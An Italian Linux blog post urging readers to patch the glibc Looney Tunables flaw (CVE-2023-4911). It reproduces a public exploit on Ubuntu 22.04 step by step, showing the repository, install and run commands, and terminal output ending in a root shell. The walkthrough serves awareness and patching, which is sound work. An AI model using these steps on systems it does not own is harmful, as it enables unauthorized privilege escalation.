Esistono già degli exploit per Looney Tunables, quindi è bene aggiornare le vostre distribuzioni Linux

1 year ago 234

Non capita spesso di dover tornare su una notizia annunciata solo pochi giorni prima, ma nel caso di Looney Tunables, la vulnerabilità di cui abbiamo raccontato la scorsa settimana, si rende più che necessario.

Se infatti nell’annuncio originale non vi era alcuna menzione su come sfruttare la problematica, diversi exploit sono stati pubblicati nel frattempo, dimostrando come la problematica sia seria e tutto sommato facile da implementare.

Basta infatti cercare con le corrette parole chiave, ad esempio il codice CVE-2023-4911, ed una serie di articoli e repository emergono dalla ricerca, dimostrando come non sia poi così complicato mettere in atto gli step per lo sfruttamento della falla.

Noi abbiamo testato lo script presente nel repository GitHub https://github.com/leesh3288/CVE-2023-4911/ ed ha funzionato.

Unico requisito la presenza di python3 sulla macchina, in questo caso una Ubuntu 22.04 LTS, insieme al pacchetto pwntools, il secondo dei quali facilmente installabile via pip:

rasca@ubuntu-jammy:~$ python3 --version Python 3.10.12 rasca@ubuntu-jammy:~/CVE-2023-4911$ pip install pwntools Defaulting to user installation because normal site-packages is not writeable Collecting pwntools Downloading pwntools-4.11.0-py2.py3-none-any.whl (11.7 MB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 11.7/11.7 MB 5.1 MB/s eta 0:00:00 ... ...

A questo punto, scaricando il repository dell’exploit:

rasca@ubuntu-jammy:~$ git clone https://github.com/leesh3288/CVE-2023-4911 Cloning into 'CVE-2023-4911'... remote: Enumerating objects: 9, done. remote: Counting objects: 100% (9/9), done. remote: Compressing objects: 100% (7/7), done. remote: Total 9 (delta 2), reused 9 (delta 2), pack-reused 0 Receiving objects: 100% (9/9), done. Resolving deltas: 100% (2/2), done. rasca@ubuntu-jammy:~$ cd CVE-2023-4911/

ed eseguendo il comando make dopo qualche minuto verrà restituita una shell:

rasca@ubuntu-jammy:~/CVE-2023-4911$ make python3 gen_libc.py [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ./exp try 100 try 200 try 300 try 400 try 500 try 600 try 700 try 800 try 900 try 1000 try 1100 try 1200 try 1300 try 1400 try 1500 try 1600 try 1700 try 1800 try 1900 try 2000 try 2100 try 2200 try 2300 try 2400 try 2500 try 2600 try 2700 try 2800 try 2900 try 3000 Usage: su [options] [-] [<user> [<argument>...]] Change the effective user ID and group ID to that of <user>. A mere - implies -l. If <user> is not given, root is assumed. Options: -m, -p, --preserve-environment do not reset environment variables -w, --whitelist-environment <list> don't reset specified variables -g, --group <group> specify the primary group -G, --supp-group <group> specify a supplemental group -, -l, --login make the shell a login shell -c, --command <command> pass a single command to the shell with -c --session-command <command> pass a single command to the shell with -c and do not create a new session -f, --fast pass -f to the shell (for csh or tcsh) -s, --shell <shell> run <shell> if /etc/shells allows it -P, --pty create a new pseudo-terminal -h, --help display this help -V, --version display version For more details see su(1). try 3100 try 3200 #

E l’utente della stessa è, ahinoi, proprio root:

# id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),137(libvirt),998(docker),1000(rasca,course)

Quindi l’escalation è possibile, percorribile e valeva la pena mostrarla per far capire come, se non lo avete fatto, sarà necessario aggiornare le vostre distribuzioni, siano queste Debian, Red Hat, Fedora o, come in questo caso Ubuntu.

Da sempre appassionato del mondo open-source e di Linux nel 2009 ho fondato il portale Mia Mamma Usa Linux! per condividere articoli, notizie ed in generale tutto quello che riguarda il mondo del pinguino, con particolare attenzione alle tematiche di interoperabilità, HA e cloud.
E, sì, mia mamma usa Linux dal 2009.

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